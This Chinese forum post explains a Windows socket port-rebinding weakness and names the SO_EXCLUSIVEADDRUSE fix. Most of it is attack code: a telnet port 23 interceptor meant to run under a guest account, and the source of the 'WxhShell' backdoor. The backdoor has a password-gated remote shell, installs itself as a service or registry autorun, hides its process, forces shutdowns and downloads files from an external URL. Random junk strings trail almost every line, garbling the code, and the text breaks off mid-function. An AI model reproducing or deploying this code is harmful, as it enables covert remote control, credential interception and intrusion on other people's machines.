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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3cdTed-MIh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +M' H0-[  
/!h;c$  
  saddr.sin_family = AF_INET; L){iA-k;Ec  
\K`L3*cBKK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5GA C`}}  
,R%q}IH#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #7ohQrP  
U_x)#,4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hso|e?Z  
%`Z+a.~U  
  这意味着什么?意味着可以进行如下的攻击: S*o[ZA   
Wbr+ KX8)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 xvl3vAN9  
A,  3bC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) f+8wl!M+6  
o1 M$.*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 n3A aZp[  
(aOv#Vor]%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {9UEq0  
ry9T U  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >B]'fUt5a  
1`ayc|9BR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q$I:`&  
hn#1%p6t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q`-;AG|xF  
 (x/k.&  
  #include X 1 57$  
  #include okbQ<{9  
  #include DC{>TC[p1k  
  #include    ,) J~,^f6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9IX/wm"  
  int main() lXcx@#~  
  { 3EJt%}V$k  
  WORD wVersionRequested; :VTTh |E%#  
  DWORD ret; ULMu19>  
  WSADATA wsaData; I f\fLhM  
  BOOL val; 6DH~dL_",%  
  SOCKADDR_IN saddr; "g$IP9?U  
  SOCKADDR_IN scaddr; /p8dZ+X  
  int err; DI+fwXeg  
  SOCKET s; qkiI/nH3  
  SOCKET sc; u\C lP#  
  int caddsize; ` ,SiA-3*  
  HANDLE mt; H\TI[JPAl  
  DWORD tid;   g$b<1:8  
  wVersionRequested = MAKEWORD( 2, 2 ); dCRyOid$  
  err = WSAStartup( wVersionRequested, &wsaData ); |yx6X{$k  
  if ( err != 0 ) { 8F._9U-EN  
  printf("error!WSAStartup failed!\n"); &Z`#cMR{H  
  return -1; hCC<?5q  
  } (1#J%  
  saddr.sin_family = AF_INET; Q%xC}||1s"  
   C=eF.FB;'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yu;P +G  
xg3:}LQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dq]0X?[6  
  saddr.sin_port = htons(23); rzt Ru  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZIQ [bE7  
  { hEp(A8g)bQ  
  printf("error!socket failed!\n"); uD^cxD  
  return -1; |UX(+; n  
  } ]*AR,0N&  
  val = TRUE; {WYX~Mvvj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ZpnxecJUJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S:O O0<W  
  {  5~>z h  
  printf("error!setsockopt failed!\n"); thI F&  
  return -1; RJd(~1  
  } *{L)dW+:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; RS8Hf~0G  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [Al&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击  iKT[=c  
T\D}kQM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) iv4H#rJ  
  { `hQ5VJo  
  ret=GetLastError(); Fvbh\m ~  
  printf("error!bind failed!\n"); 4rLL[??  
  return -1; ]@phF _  
  } sG F aL  
  listen(s,2); _no*k?o *  
  while(1) ?vbvBu{a  
  { Z'.AAOG  
  caddsize = sizeof(scaddr); ;IZwTXu!S  
  //接受连接请求 c}2jmwq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eQ]~dA8>  
  if(sc!=INVALID_SOCKET) 0 eDHu  
  { m)'=G%y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $w`=z<2yo1  
  if(mt==NULL) =`H@%  
  { gcl5jB5)>  
  printf("Thread Creat Failed!\n"); @X#F3;  
  break; }f6HYU  
  } oYH^_V  
  } ,Ge"anO  
  CloseHandle(mt); .nx2";oi  
  } ` 2V19 s]  
  closesocket(s); oYm[V<nIl  
  WSACleanup(); nH[yJGZYSA  
  return 0; pSdI/Vj'=  
  }   H _zo1AW  
  DWORD WINAPI ClientThread(LPVOID lpParam) ddJe=PUb  
  { /7Cc#P6  
  SOCKET ss = (SOCKET)lpParam; K3#@SY j  
  SOCKET sc; 8|l\E VV6  
  unsigned char buf[4096]; L?mrba y  
  SOCKADDR_IN saddr; JehrDC2N  
  long num; klT@cO-9  
  DWORD val; HMh"}I2n  
  DWORD ret; %[ Z \S0C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e?8FN. q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $Avjnm  
  saddr.sin_family = AF_INET; z`f($t[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l)1r+@) \  
  saddr.sin_port = htons(23); /rnu<Q#iH  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f'EuY17w  
  { l 3ko?k  
  printf("error!socket failed!\n"); -z)n?(pftm  
  return -1; Z8K?  
  } 42$VhdG  
  val = 100; -"' j7t:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F%@aB<Nu  
  { BBwy,\o#  
  ret = GetLastError();  3KlbP  
  return -1; 128EPK  
  } i:Y^{\Z?V  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +M\`#i\g>  
  { q_A!'sm@)  
  ret = GetLastError(); Vt:~q{9*k  
  return -1; vqDu(6!2  
  } su{poQ}K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) P3+5?.p.  
  { 4%>$-($  
  printf("error!socket connect failed!\n"); \ `~Ly-  
  closesocket(sc); }v}P .P  
  closesocket(ss); R;&AijS8  
  return -1; 7&jTtKLj  
  } K* LlW@  
  while(1) yerg=,$_i  
  { a|t$l=|DD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XDOY`N^L  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1 ySk;;3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'YmIKIw  
  num = recv(ss,buf,4096,0); g?goZPZB  
  if(num>0) cQy2"vtU  
  send(sc,buf,num,0); zPn+ V7F  
  else if(num==0) "O3tq =Q  
  break; ls\WXCH  
  num = recv(sc,buf,4096,0); =.Pw`.  
  if(num>0) S"NqM[W  
  send(ss,buf,num,0); I_} SB|  
  else if(num==0) CkOz  
  break; c|e~BQdRw  
  } [%y';`( x  
  closesocket(ss); [1g8*j~L  
  closesocket(sc); AG`L64B  
  return 0 ; A5c%SCq;  
  } KX,S  
;=)k<6  
wh$sn:J  
========================================================== iVhJ t#_b  
>E;uU[v)I  
下边附上一个代码,,WXhSHELL Lb:g4A"  
qeVfE_<  
========================================================== @ym v< Mo  
QwW&\h[8?  
#include "stdafx.h" y-'$(x  
:~"CuB/  
#include <stdio.h> g:g\>@Umo  
#include <string.h> FH?U(-  
#include <windows.h> \)#kquH/l  
#include <winsock2.h> 1H? u Qy  
#include <winsvc.h> I&#| w"/"U  
#include <urlmon.h> x nsLf?>]  
AifWf2$S  
#pragma comment (lib, "Ws2_32.lib") 4KhV|#-;k  
#pragma comment (lib, "urlmon.lib") i1ixi\P{0  
6tgt>\y  
#define MAX_USER   100 // 最大客户端连接数 -`*a'p-=  
#define BUF_SOCK   200 // sock buffer V#2+"(7h  
#define KEY_BUFF   255 // 输入 buffer O,{6*[)@  
4[m`#  
#define REBOOT     0   // 重启 \ub7`01  
#define SHUTDOWN   1   // 关机 % L$bf#  
BTqS'NuT  
#define DEF_PORT   5000 // 监听端口 ! `   
] {RDVA=]  
#define REG_LEN     16   // 注册表键长度 ;w{tv($$  
#define SVC_LEN     80   // NT服务名长度 T"{>t  
S'Q@ScJ  
// 从dll定义API SD"FErJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Yg]-wQrH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QO<jI#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` 06;   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jl4rbzse  
K -nF lPm\  
// wxhshell配置信息 ~ (|5/ p7t  
struct WSCFG { !E<[JM  
  int ws_port;         // 监听端口 (5$!MUS~9  
  char ws_passstr[REG_LEN]; // 口令 EU2$f  
  int ws_autoins;       // 安装标记, 1=yes 0=no D=q:*x  
  char ws_regname[REG_LEN]; // 注册表键名 l: HTk4$0  
  char ws_svcname[REG_LEN]; // 服务名 p|X"@kuseO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?A K(|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =MQoC:l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a#cCpE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k3lS8d7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bn|I> e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CKYc\<zR0l  
:%l TU  
}; 27eooY1  
Jj; L3S  
// default Wxhshell configuration py$Q  
struct WSCFG wscfg={DEF_PORT, z`.<U{5  
    "xuhuanlingzhe", pNG:0  
    1, 7Od -I*bt  
    "Wxhshell", 'F+C4QAq  
    "Wxhshell", [<lHCQXJ/  
            "WxhShell Service", 5V?& 8GTe  
    "Wrsky Windows CmdShell Service", {% rA1g  
    "Please Input Your Password: ", 0IsPIi"7  
  1, .?8;qA  
  "http://www.wrsky.com/wxhshell.exe", wcrCEX=I>{  
  "Wxhshell.exe" -o ^7r@6  
    }; U$O\f18  
m ifxiV  
// 消息定义模块 \r/rBa\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ? ^0:3$La  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z)I+@2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 29;?I3< *  
char *msg_ws_ext="\n\rExit."; G?L HmTHg  
char *msg_ws_end="\n\rQuit."; q$0*b]=E  
char *msg_ws_boot="\n\rReboot..."; Mo|;'+  
char *msg_ws_poff="\n\rShutdown..."; k0OYJ/  
char *msg_ws_down="\n\rSave to "; Y+kfBvxyf  
r<9Iof4  
char *msg_ws_err="\n\rErr!"; j@n)kPo,1  
char *msg_ws_ok="\n\rOK!"; k$4y9{  
Z+*9#!?J  
char ExeFile[MAX_PATH]; 9g9HlB&Ze  
int nUser = 0; >~''&vdsk\  
HANDLE handles[MAX_USER]; z6KCv(zvB  
int OsIsNt; :y'Ah#  
v"y-0$M  
SERVICE_STATUS       serviceStatus; A!od9W6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 52@C9Q,  
]i|h(>QWP  
// 函数声明 rJ`!:f  
int Install(void); p)KheLiZ  
int Uninstall(void); &y\prip  
int DownloadFile(char *sURL, SOCKET wsh); Gw}%{=D9  
int Boot(int flag); n<Z({\9&H  
void HideProc(void); tIWmp30S  
int GetOsVer(void); |6.l7u ?d  
int Wxhshell(SOCKET wsl); GSoX<*i  
void TalkWithClient(void *cs); RVZ")Z(  
int CmdShell(SOCKET sock); $h+1u$po  
int StartFromService(void); .T}Wdn g  
int StartWxhshell(LPSTR lpCmdLine); QVv#fy1"6  
Q 1U\D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h=W:^@G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %:M ^4~dc  
${<%" hR$  
// 数据结构和表定义 W =D4r  
SERVICE_TABLE_ENTRY DispatchTable[] = 6|gCuT4  
{ rlMLW  
{wscfg.ws_svcname, NTServiceMain}, {0[tNth'h  
{NULL, NULL} >BV^H.SO|1  
}; x) ,eI'mf  
]3D0R;  
// 自我安装 }fp-pe69z  
int Install(void) (o 5s"b  
{ Sgeh %f  
  char svExeFile[MAX_PATH]; n7zm>&  
  HKEY key; ^7 w+l @  
  strcpy(svExeFile,ExeFile); `{f}3bO7C  
zG }@0  
// 如果是win9x系统,修改注册表设为自启动 ?qmRbDI  
if(!OsIsNt) { "H=6j)Cb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lz |? ek7Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1XrO~W\=  
  RegCloseKey(key); e2AX0(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Y.)("1f}f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4R#chQ  
  RegCloseKey(key); ?fQ'^agq  
  return 0; @bi}W`  
    } BnX0G1|#  
  } S4Pxc ]!  
} (9tX5$e6N  
else { eVEV}`X  
4n#M  
// 如果是NT以上系统,安装为系统服务 .8 2P(}h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XD!W: uvb  
if (schSCManager!=0) ]tim,7s  
{ z{8bvuE  
  SC_HANDLE schService = CreateService KWq+PeB5TS  
  ( dph{74Dc  
  schSCManager, '3R`lv   
  wscfg.ws_svcname, $By< $  
  wscfg.ws_svcdisp, 8^kGS-+^  
  SERVICE_ALL_ACCESS, KKb,d0T[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IY_iB*T3jt  
  SERVICE_AUTO_START, ]P9l jwR  
  SERVICE_ERROR_NORMAL, B |5]Jm]  
  svExeFile, kGH}[w  
  NULL, s%vis{2  
  NULL, /Y/UM3/  
  NULL, u]g%@3Pn  
  NULL, )1Y{Q Y}l  
  NULL X@--m6-  
  ); ^3G{|JB!+  
  if (schService!=0) kYM~d07 V  
  { |O{m2Fi  
  CloseServiceHandle(schService); 2% MC Yn  
  CloseServiceHandle(schSCManager); im${3>26  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YC*"Thuu  
  strcat(svExeFile,wscfg.ws_svcname); l z/8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =h-U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aE Bu *`-j  
  RegCloseKey(key); DMAIM|h  
  return 0; T"(&b~m2b4  
    } 1Rt33\1J0  
  } dhC$W!N7!  
  CloseServiceHandle(schSCManager); +xRK5+}9  
} L\37xJo  
} -m\u  
Wt*cIZ  
return 1; u^^vB\"^  
} JOj;^ h  
0B[="rTS7#  
// 自我卸载 kPKB|kP\  
int Uninstall(void) ;/bewivNJ  
{ H/"-Z;0{  
  HKEY key; vRznw&^E  
'I`&Yo~c9  
if(!OsIsNt) { `oAW7q)~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g6y B6vk  
  RegDeleteValue(key,wscfg.ws_regname); |sa]F5  
  RegCloseKey(key); n#cC+>*>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %7QV&[4!  
  RegDeleteValue(key,wscfg.ws_regname); }cM}Oavh  
  RegCloseKey(key); V~UN  
  return 0; "0$a)4]  
  }  FK^p")i  
} T5|q RlW  
} biLs+\C  
else { Z EQ@IS:Y  
W1WYej"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mJ<=n?{Z  
if (schSCManager!=0) Qu"8(Jk/  
{ S\^P ha q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 32(^Te]:  
  if (schService!=0) oF vfCrd  
  { ]v?@g:i E  
  if(DeleteService(schService)!=0) { #./fY;:cj  
  CloseServiceHandle(schService); -Sq z5lo  
  CloseServiceHandle(schSCManager); Ah1]Y}sy  
  return 0; M "ui0 ac  
  }  hz{`h  
  CloseServiceHandle(schService); Z3%}ajPu[  
  } #^#PPO  
  CloseServiceHandle(schSCManager); <3L5"77G 6  
} ?K1/ <PE+  
} WEAT01  
.4S.>~^7  
return 1; 1&\0:vA^Y  
} sZ'nY o  
8aZ=?_gvT  
// 从指定url下载文件 XYQ/^SI!:  
int DownloadFile(char *sURL, SOCKET wsh) P i=+/}  
{ OwuE~K7b{  
  HRESULT hr; bkRLC_/d  
char seps[]= "/"; |Yx~;q:  
char *token; ~cWAl,(B<F  
char *file;  ;i4Q|  
char myURL[MAX_PATH]; AWcLUe{  
char myFILE[MAX_PATH]; CJtcn_.F  
P)"noG_'i  
strcpy(myURL,sURL); #HYr0Tw6`  
  token=strtok(myURL,seps); |U~<3.:m:  
  while(token!=NULL) hC:n5]K  
  { ?xA:@:l/  
    file=token; 88Ey12$  
  token=strtok(NULL,seps); 9y6-/H ,  
  } `K*Q5n  
w}L]X1#sF  
GetCurrentDirectory(MAX_PATH,myFILE); zy?.u.4L  
strcat(myFILE, "\\"); $': E\*ICb  
strcat(myFILE, file); {]*c29b>  
  send(wsh,myFILE,strlen(myFILE),0); t9nqu!);  
send(wsh,"...",3,0); :v0U|\j8/V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -M~8{buxv  
  if(hr==S_OK) B{/R: Hm  
return 0; a Ve'ry  
else Q}`0W[a ~  
return 1; v>:Ur}u!D  
f< ia(d  
} imo$-}A  
#TeG-sFJg@  
// 系统电源模块 ]"r&]qx7  
int Boot(int flag) 4hO!\5-w:  
{ V08?-Iz$  
  HANDLE hToken; gK_Ymq5>"M  
  TOKEN_PRIVILEGES tkp; u6?Q3 bvI  
XYjV.j\  
  if(OsIsNt) { H  >j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +j#+8Ze  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tankR9(o  
    tkp.PrivilegeCount = 1; [O$Wa:< 0x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VdPtPq1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?OId\'q  
if(flag==REBOOT) { O $LfuL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mGtdO/C#B  
  return 0; FFl!\y*0z  
} cIUHa  
else { \}+_Fo/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EtJHR  
  return 0; Ua<5U5  
} @V(*65b2  
  } t=rEt>n~L  
  else { Mh~q//  
if(flag==REBOOT) { Olt `:;j-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ) dn(G@5  
  return 0; T m,b,hi$  
} 2- &k^Gl!:  
else { nx@=>E+a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g~Z vA(`  
  return 0; 56}U8X  
} T{Gj+7bQ~  
} DD7h^-x  
_7<FOOM%8y  
return 1; 7zA'ri3w  
} 8R2QZXJb-  
={_C&57N1  
// win9x进程隐藏模块 !\"EFVH  
void HideProc(void) qUh2hz:  
{ -jW.TT h]  
V\t.3vT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6{x(.=  
  if ( hKernel != NULL ) E d"h16j?z  
  { uvMy^_}L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5G::wuxk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e_#._Pi  
    FreeLibrary(hKernel); 9Kpa><  
  } Fa?~0H/DL  
.)RzT9sg  
return; vo`2\R.  
} 05z,b]>l  
kr+D,h01  
// 获取操作系统版本 6tB+JF  
int GetOsVer(void) E;,u2[3  
{ $g/SWq  
  OSVERSIONINFO winfo; |h-QP#]/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0Z~p%C<LW  
  GetVersionEx(&winfo); .}^g!jm~h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ao%NK<Lt  
  return 1; &wi e]  
  else Uhe=h&e2k@  
  return 0; <nE>XAI_7  
} `q?8A3A  
BZ:H`M`n  
// 客户端句柄模块 -- PtZ]Z  
int Wxhshell(SOCKET wsl) A$<.a'&T!  
{ @AG n{q  
  SOCKET wsh; X59: C3c  
  struct sockaddr_in client; 5XO;N s  
  DWORD myID; Q7*SE%H  
JF # # [O  
  while(nUser<MAX_USER) mZk]l5Lc  
{ ,ek_R)&[o  
  int nSize=sizeof(client); D6%J\C13`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c0PIc^R(@  
  if(wsh==INVALID_SOCKET) return 1; |*:'TKzNS  
mX_a^_[G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^.KwcXr  
if(handles[nUser]==0) ?>hPO73{  
  closesocket(wsh); ~kShq%  
else jNTjSX  
  nUser++; $8;R[SU6Y  
  } u2[ iMd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rQk<90Ar  
* vflscgt  
  return 0; _I:~@  
} e^d0zl{  
Ai:BEPKe  
// 关闭 socket {/"2Vk<H8  
void CloseIt(SOCKET wsh) -j%,Oo  
{ xgbJ2Mh  
closesocket(wsh); ^=T$&gD  
nUser--; g,}_G3[j0m  
ExitThread(0); ^oVs+vC  
} |s"nM<ZNZ  
Nd`%5%'::  
// 客户端请求句柄 b@rVo;  
void TalkWithClient(void *cs) RM K"o?  
{ ]+(6,ct&.  
3x5JFM  
  SOCKET wsh=(SOCKET)cs; `!XY]PI+e  
  char pwd[SVC_LEN]; iJ~Zkd  
  char cmd[KEY_BUFF]; V"*O=h  
char chr[1]; K&nE_.kbl  
int i,j; n1JRDw"e$$  
#,7e NM"  
  while (nUser < MAX_USER) { g}f`,r9  
C 'v+f=  
if(wscfg.ws_passstr) { \Z]UA&v_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eAXc:222  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v\!Be[ ?  
  //ZeroMemory(pwd,KEY_BUFF); Y]NSN-t  
      i=0; ,a gc  
  while(i<SVC_LEN) { !_`&Wks  
]e^c=O`$  
  // 设置超时 ,RJtm%w  
  fd_set FdRead; 8dZ0rPd?  
  struct timeval TimeOut; 3^R&:|,  
  FD_ZERO(&FdRead); x$IX5:E#e  
  FD_SET(wsh,&FdRead); bLe <G  
  TimeOut.tv_sec=8; b?TO=~k,  
  TimeOut.tv_usec=0; ?3*l{[@J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z54EG:x.7^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2@9Tfm(=  
dls ss\c^M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LO <  
  pwd=chr[0]; /4c\K-Z;  
  if(chr[0]==0xd || chr[0]==0xa) {  Jd%H2`  
  pwd=0; Fz1_w$^  
  break; y=`2\L" O  
  } N$h{Yvbn  
  i++; &0NFb^8+  
    } 'XZ) !1N  
O$IEn/%+  
  // 如果是非法用户,关闭 socket F{EnOr`,m=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  TR<<+  
} k%D+Y(WGz8  
R($KSui  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jqv-D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tsgk/e9K2?  
b /@#}Gc  
while(1) { *$p2*%7Ne  
y$@ZN~8  
  ZeroMemory(cmd,KEY_BUFF); "i U}]e0  
> ;L6xt3  
      // 自动支持客户端 telnet标准   Gs9:6  
  j=0; odPL {XFj  
  while(j<KEY_BUFF) { %K\?E98M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R(2tlZ  
  cmd[j]=chr[0]; Cz 72?[6  
  if(chr[0]==0xa || chr[0]==0xd) { pcYG~pZ9  
  cmd[j]=0; IkBei&4F`  
  break; Pm lx8@D  
  } nX(+s*Y+w  
  j++; %;e/7`>Ma  
    } )^4\,u\@  
T(e!_VY|m  
  // 下载文件 3T"j)R_=l  
  if(strstr(cmd,"http://")) { > `n,S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m\$\ 09  
  if(DownloadFile(cmd,wsh)) &m|wH4\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g{8,Wx,,  
  else %7"X(Ts7B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z7_m)@%;kk  
  } JS*m65e  
  else { um4yF*3b9  
4d8B`Fa9  
    switch(cmd[0]) { KcK>%%  
  VwOW=4`6  
  // 帮助 Svc|0Ad&  
  case '?': { )=AHf?hn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F'B8v 3  
    break; J]&y$?C  
  } O9EKRt  
  // 安装 I9:Cb)hbU]  
  case 'i': { l~6?kFy9h  
    if(Install()) o'W5|Gy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QAvir%Y9Q  
    else ]@uE #a:[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |g #K]v  
    break; ^go7_y  
    } :E>HE,1b+  
  // 卸载 8"dv_`ym  
  case 'r': { q~3,yyu  
    if(Uninstall()) |4T !&[r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E-I-0h2  
    else 0%m)@ukb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $% 1vW=d  
    break; <Wp QbQM  
    } ow_djv:,  
  // 显示 wxhshell 所在路径 Bx/L<J@  
  case 'p': { `e(vH`VZ  
    char svExeFile[MAX_PATH]; Xlb0/T<g!  
    strcpy(svExeFile,"\n\r"); .Fnwm}  
      strcat(svExeFile,ExeFile); mnmP<<8C,  
        send(wsh,svExeFile,strlen(svExeFile),0); =$nB/K,8AX  
    break; .G+Pe'4a  
    } M@?xa/E64  
  // 重启 KuMF^0V%c  
  case 'b': { |1b_3?e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]3g?hM6  
    if(Boot(REBOOT)) EI:w aIr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D3)zk@N  
    else { .h9l7 nZt  
    closesocket(wsh); ")V130<  
    ExitThread(0); b|+wc6   
    } 2Z3('?\z~  
    break; U2`'qsR1  
    } Q5FM8Q  
  // 关机 # m[|2R  
  case 'd': { gFHT G  
